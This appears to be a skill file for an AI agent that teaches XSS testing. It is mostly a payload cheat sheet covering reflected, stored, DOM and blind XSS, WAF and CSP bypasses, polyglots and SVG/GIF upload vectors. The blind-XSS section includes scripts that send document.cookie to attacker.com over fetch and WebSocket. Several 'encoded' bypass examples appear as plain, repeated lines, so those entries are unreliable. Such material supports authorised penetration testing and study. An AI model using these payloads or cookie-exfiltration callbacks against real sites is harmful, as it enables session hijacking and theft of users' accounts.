| name | xss-testing |
| description | Master XSS testing methodology including reflected, stored, DOM-based XSS, polyglot payloads, WAF bypass techniques, CSP bypass, and DOM clobbering. Covers blind XSS, XSS via file uploads, and mutation XSS. |
XSS Testing Methodology
Overview
Cross-Site Scripting (XSS) allows attackers to execute malicious scripts in users' browsers. Testing methodology covers all XSS variants with practical payloads.
XSS Types
Reflected XSS
- Input immediately reflected in response
- Requires user interaction (clicking link)
- Often found in search, error messages, URL parameters
Stored XSS
- Input stored persistently (database, logs)
- Affects all users viewing the content
- Found in comments, profiles, forums, messages
DOM-based XSS
- Vulnerability in client-side JavaScript
- Document API sinks:
document.write, innerHTML, location, eval
- Source → Sink flow analysis required
Blind XSS
- Triggered in backend/admin panels
- Use callback payloads (XSS Hunter, Burp Collaborator)
Core Payloads
Basic Payloads
<script>alert(1)</script>
<script>alert(document.domain)</script>
<img src=x onerror=alert(1)>
<img src=x onerror=alert(document.cookie)>
<body onload=alert(1)>
<svg onload=alert(1)>
<svg><script>alert(1)</script>
<input onfocus=alert(1) autofocus>
<input onmouseover=alert(1)>
<a href="javascript:alert(1)">click</a>
Event Handlers
<div onmouseover="alert(1)">
<div onclick="alert(1)">
<div onmouseenter="alert(1)">
<input onkeydown="alert(1)">
<input onkeyup="alert(1)">
<input onkeypress="alert(1)">
<input onfocus="alert(1)" autofocus>
<input onblur="alert(1)">
<form onsubmit="alert(1)"><input type=submit>
<select onchange="alert(1)">
<video src=x onerror="alert(1)">
<audio src=x onerror="alert(1)">
<div draggable=true ondragstart="alert(1)">
<div ondrop="alert(1)">
<div oncopy="alert(1)">
<div onpaste="alert(1)">
<div oncut="alert(1)">
Advanced Payloads
Bypassing Tag Filters
<template onload=alert(1)>
<math><mtext><table><mglyph><style><img src=x onerror=alert(1)>
<iframe srcdoc="<img src=x onerror=alert(1)>">
<object data="javascript:alert(1)">
<embed src="javascript:alert(1)">
Bypassing Space/Parenthesis Filters
<img src=x onerror=alert`1`>
<img src=x onerror=alert[1]>
<img src=x onerror="throw 1">
<img src=x onerror=eval("alert(1)")>
Bypassing Quote Filters
<img src=x onerror=alert(1)>
<img src=x onerror=alert(1)>
<img src=x onerror=alert(1)>
<script>alert`xss`</script>
Polyglot Payloads
'">
'";alert(1);//
'-alert(1)-'
';alert(1);'
'\'"\'><script>alert(1)</script>
// For template literals
${alert(1)}
WAF Bypass Techniques
HTML Encoding
<img src=x onerror=alert(1)>
<img src=x onerror=alert(1)>
URL Encoding
<script>%61%6c%65%72%74%28%31%29</script>
Unicode Normalization
<img src=x onerror=alert(1)>
<img src=x onerror=alert(1)>
Case Variations
<ScRiPt>alert(1)</ScRiPt>
<IMG SRC=X ONERROR=ALERT(1)>
Double Encoding
%253Cscript%253Ealert(1)%253C%252Fscript%253E
Null Bytes
%00<script>alert(1)</script>
CSP Bypass Techniques
Unsafe-inline with Nonce
<script nonce="reflected_nonce">alert(1)</script>
script-src 'self' + JSONP
<script src="/api/jsonp?callback=alert(1)"></script>
script-src 'self' + Angular
<div ng-app ng-csp>
{{$eval.constructor('alert(1)')()}}
</div>
script-src 'self' + strict-dynamic
<script src="//attacker.com/evil.js" async defer></script>
base-uri 'self' Bypass
<base href="https://attacker.com/">
<script src="/script.js"></script>
DOM XSS Vectors
Location-based
eval(location.hash.slice(1))
document.write(location.search)
document.write('<a href="' + location.href + '">link</a>')
postMessage
window.addEventListener('message', (e) => {
eval(e.data);
});
<iframe src="target.com" onload="this.contentWindow.postMessage('alert(1)', '*')">
WebSocket
ws.onmessage = (e) => {
document.getElementById('output').innerHTML = e.data;
}
Blind XSS Payloads
Using XSS Hunter
<script src="https://xsshunter.yourdomain.com/yourusername"></script>
Custom Callback
<script>
fetch('https://attacker.com/cb?cookie='+document.cookie);
</script>
WebSocket Callback
<script>
var ws = new WebSocket('wss://attacker.com/ws');
ws.onopen = () => ws.send(document.cookie);
</script>
XSS via File Upload
SVG XSS
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" xmlns="http://www.w3.org/2000/svg">
<script>alert(1)</script>
</svg>
HTML in Image Upload
<script>alert(1)</script>
GIF with JavaScript
GIF89a
<script>alert(1)</script>
PDF XSS
https://target.com/page#javascript:alert(1)
Mutation XSS
Template String Injection
const html = `<div>${userInput}</div>`;
Prototype Pollution leading to XSS
JSON.parse('{"__proto__":{"isAdmin":true}}')
Testing Methodology
-
Identify Input Points
- URL parameters
- POST body
- Headers (User-Agent, Referer, X-Forwarded-For)
- Cookies
- File uploads
- WebSocket messages
-
Test Output Contexts
- HTML body
- HTML attribute
- JavaScript string
- JavaScript code
- URL
- Style/CSS
-
Bypass Filters
- Try different event handlers
- Use encoding tricks
- Test with/without quotes
- Try case variations
- Test polyglot payloads
-
Verify Impact
- Cookie theft
- Session hijacking
- Keylogging
- Phishing
- DOM manipulation
Tools
- XSStrike: Automated XSS detection
- Dalfox: Fast XSS scanner
- XSS Hunter: Blind XSS detection
- DOM Invader: DOM XSS detection (Burp Pro)
- ** retire.js**: Identify vulnerable JS libraries
References
- OWASP XSS Prevention Cheat Sheet
- PortSwigger XSS Labs
- PayloadsAllTheThings XSS
- XSS Hunter Documentation